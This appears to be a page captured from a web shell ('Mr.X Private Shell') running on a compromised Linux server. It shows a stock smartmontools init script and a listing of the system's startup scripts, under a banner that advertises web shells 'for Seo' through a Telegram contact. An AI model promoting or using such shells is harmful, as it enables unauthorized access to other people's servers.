__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
#!/bin/sh -e
#
# smartmontools init.d startup script
#
# (C) 2003,04,07 Guido G�nther <agx@sigxcpu.org>
#
# loosely based on the init script that comes with smartmontools which is
# copyrighted 2002 by Bruce Allen <smartmontools-support@lists.sourceforge.net>
#
### BEGIN INIT INFO
# Provides: smartmontools
# Required-Start: $syslog $remote_fs
# Required-Stop: $syslog $remote_fs
# Default-Start: 2 3 4 5
# Default-Stop: 0 1 6
# Short-Description: SMART monitoring daemon
### END INIT INFO
SMARTCTL=/usr/sbin/smartctl
DAEMON=/usr/sbin/smartd
PIDFILE=/var/run/smartd.pid
[ -x $SMARTCTL ] || exit 0
[ -x $DAEMON ] || exit 0
. /lib/lsb/init-functions
RET=0
[ -r /etc/default/rcS ] && . /etc/default/rcS
[ -r /etc/default/smartmontools ] && . /etc/default/smartmontools
smartd_opts="--pidfile $PIDFILE $smartd_opts"
enable_smart() {
log_action_begin_msg "Enabling S.M.A.R.T."
for device in $enable_smart; do
log_action_cont_msg "$device"
if ! $SMARTCTL --quietmode=errorsonly --smart=on $device; then
log_action_cont_msg "(failed)"
RET=2
fi
done
log_action_end_msg 0
}
running_pid()
{
# Check if a given process pid's cmdline matches a given name
pid=$1
name=$2
[ -z "$pid" ] && return 1
[ ! -d /proc/$pid ] && return 1
cmd=`cat /proc/$pid/cmdline | tr "\000" "\n"|head -n 1 |cut -d : -f 1`
# Is this the expected child?
[ "$cmd" != "$name" ] && return 1
return 0
}
running()
{
# Check if the process is running looking at /proc
# (works for all users)
# No pidfile, probably no daemon present
[ ! -f "$PIDFILE" ] && return 1
# Obtain the pid and check it against the binary name
pid=`cat $PIDFILE`
running_pid $pid $DAEMON || return 1
return 0
}
case "$1" in
start)
[ -n "$enable_smart" ] && enable_smart
log_daemon_msg "Starting S.M.A.R.T. daemon" "smartd"
if running; then
log_progress_msg "already running"
log_end_msg 0
exit 0
fi
rm -f $PIDFILE
if start-stop-daemon --start --quiet --pidfile $PIDFILE \
--exec $DAEMON -- $smartd_opts; then
log_end_msg 0
else
log_end_msg 1
RET=1
fi
;;
stop)
log_daemon_msg "Stopping S.M.A.R.T. daemon" "smartd"
start-stop-daemon --stop --quiet --oknodo --pidfile $PIDFILE
log_end_msg 0
;;
reload|force-reload)
log_daemon_msg "Reloading S.M.A.R.T. daemon" "smartd"
if start-stop-daemon --stop --quiet --signal 1 \
--pidfile $PIDFILE; then
log_end_msg 0
else
log_end_msg 1
RET=1
fi
;;
restart)
log_daemon_msg "Restarting S.M.A.R.T. daemon" "smartd"
start-stop-daemon --stop --quiet --oknodo --retry 30 --pidfile $PIDFILE
rm -f $PIDFILE
if start-stop-daemon --start --quiet --pidfile $PIDFILE \
--exec $DAEMON -- $smartd_opts; then
log_end_msg 0
else
log_end_msg 1
RET=1
fi
;;
status)
status_of_proc $DAEMON smartd && exit 0 || exit $?
;;
*)
echo "Usage: /etc/init.d/smartmontools {start|stop|restart|reload|force-reload|status}"
exit 1
esac
exit $RET
| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| K01apache-htcacheclean | File | 2.43 KB | 0755 |
|
| K01fio | File | 734 B | 0755 |
|
| S01apache2 | File | 7.95 KB | 0755 |
|
| S01bluetooth | File | 2.88 KB | 0755 |
|
| S01console-setup.sh | File | 1.21 KB | 0755 |
|
| S01cron | File | 2.99 KB | 0755 |
|
| S01cups | File | 2.74 KB | 0755 |
|
| S01cups-browsed | File | 1.92 KB | 0755 |
|
| S01dbus | File | 3.08 KB | 0755 |
|
| S01dphys-swapfile | File | 2.15 KB | 0755 |
|
| S01lightdm | File | 2.55 KB | 0755 |
|
| S01mariadb | File | 7 KB | 0755 |
|
| S01named | File | 3.46 KB | 0755 |
|
| S01nmbd | File | 1.26 KB | 0755 |
|
| S01ntpsec | File | 1.87 KB | 0755 |
|
| S01plymouth | File | 1.35 KB | 0755 |
|
| S01pulseaudio-enable-autospawn | File | 469 B | 0644 |
|
| S01rsync | File | 4.31 KB | 0755 |
|
| S01samba-ad-dc | File | 1.61 KB | 0755 |
|
| S01saned | File | 2.17 KB | 0755 |
|
| S01smartmontools | File | 3.02 KB | 0644 |
|
| S01smbd | File | 1.59 KB | 0755 |
|
| S01ssh | File | 3.96 KB | 0755 |
|
| S01sudo | File | 1.13 KB | 0755 |
|
| S01tor | File | 5.93 KB | 0755 |
|
| S01triggerhappy | File | 3.14 KB | 0755 |
|
| S01vsftpd | File | 2.02 KB | 0755 |
|